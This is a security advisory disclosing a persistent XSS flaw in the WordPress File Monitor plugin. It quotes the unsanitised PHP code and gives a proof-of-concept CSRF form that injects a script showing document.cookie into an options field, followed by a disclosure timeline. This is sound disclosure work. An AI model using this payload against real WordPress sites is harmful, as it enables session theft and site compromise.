Persistent Cross-Site Scripting (XSS) Vulnerability in WordPress File Monitor
Recently we have been catching a lot of vulnerabilities in plugins by looking at what appear to be hackers probing for usage of plugins on our websites and looking through the plugins for security vulnerabilities. Due to the success of that we are looking for more data on that type of probing so that we can catch more vulnerabilities, so that we can warn our customers about security issues in plugins they might be using and also to limit the impact those vulnerabilities can have on others as well. Through that we came across a request for the plugin WordPress File Monitor. That is a security plugin designed to monitor for file changes, which we found has security vulnerability that would allow a hacker to cause file changes they made to be ignored and more importantly allows for persistent cross-site scripting (XSS).
The problem starts with a request for the URL /wp-admin/options-general.php?page=WordPressFileMonitor&display=alertDesc, when that is requested the following code is run:
148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 | $alertDesc = get_option('wpfm_alertDesc'); ?> <form action="<?php echo get_bloginfo('wpurl'); ?>/wp-admin/options-general.php?page=WordPressFileMonitor" method="post" accept-charset="utf-8"> <?php if (function_exists('wp_nonce_field')) { wp_nonce_field('wpfm-update-options'); } ?> <input type="hidden" name="msw_wpfm_action" value="clear_alert" id="msw_wpfm_action"> <p class="submit"><input type="submit" value="<?php _e('Remove Alert', 'wordpress_file_monitor'); ?>"></p> </form> <?php if (!$alertDesc) { // Shouldn't land in here, but just in case ... _e('No alert(s) to display', 'wordpress_file_monitor'); } else { echo str_replace("\n", "<br/>", $alertDesc); } exit; |
The important thing to notice in that is that it generates a nonce for the action “wpfm-update-options” with the code “wp_nonce_field(‘wpfm-update-options’)”. With that you can then get access to functions to update the plugin’s options, run a scan and clear an alert:
128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 | check_admin_referer('wpfm-update-options'); // Security check switch ($_POST['msw_wpfm_action']) { case 'update_options': $this->update_options($_POST); // Update options based on form submission break; case 'scan_site': $this->scan_site(); break; case 'clear_alert': $this->activeAlert = false; delete_option('wpfm_alert'); delete_option('wpfm_alertDesc'); break; default: break; } |
The update_options() function doesn’t do any sanitization on the inputs passed to it:
166 167 168 169 170 171 172 173 174 | function update_options($newOptions) { foreach ($this->options as $option=>$value) { // Loop through post variables and get form fields corresponding to valid settings if ($option == 'exclude_paths' || $option == 'site_root') { $value = trim(stripslashes($value)); } $options[$option] = $newOptions[$option]; } if (!get_option('wpfm_options')) { add_option('wpfm_options', '', null, 'no'); } // Add option if it does not exist update_option('wpfm_options', maybe_serialize($options)); // Set settings to new values $this->options = $options; } |
When the values are outputted on the plugin’s admin page, /wp-admin/options-general.php?page=WordPressFileMonitor, they are not escaped. For example, the value for “’scan_interval” is output with this line:
215 | <input id="scan_interval" name="scan_interval" type="text" value="<?php echo @$this->options['scan_interval']; ?>" /> (<!--?php _e('in minutes', 'wordpress_file_monitor'); ?-->, <!--?php _e('0 for Manual Scan only', 'wordpress_file_monitor'); ?-->) |
Proof of Concept
The following proof of concept will cause an alert box with any accessible cookies to be shown on the WordPress File Monitor Options page, /wp-admin/options-general.php?page=WordPressFileMonitor.
First you need to get the value of the nonce to used in the second step. You can do that by visit the page http://[path to WordPress]/wp-admin/options-general.php?page=WordPressFileMonitor&display=alertDesc (make sure to replace “[path to WordPress]” with the location of WordPress) and in the source code find the line that starts
<input type=”hidden” id=”_wpnonce” name=”_wpnonce” value=”
The value of the input “_wpnonce” is the nonce value to be filled in at “[nonce value]”.
<html> <body> <form action="http://[path to WordPress]/wp-admin/options-general.php?page=WordPressFileMonitor" method="POST"> <input type="hidden" name="_wpnonce" value="[nonce value]"> <input type="hidden" name="msw_wpfm_action" value="update_options"> <input type="hidden" name="scan_interval" value=':"><script>alert(document.cookie);</script>' /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 6/22/2016 – WordPress.org Plugin Directory notified.
- 6/28/2016 – Removed from Plugin Directory.
There is a forked version of this plugin called WordPress File Monitor Plus that hasn’t been updated in a while. It is still available in the WordPress repository. https://wordpress.org/plugins/wordpress-file-monitor-plus/
Does it have this same issue?
That plugin doesn’t contain the vulnerable code shown above, so it doesn’t have the same issue.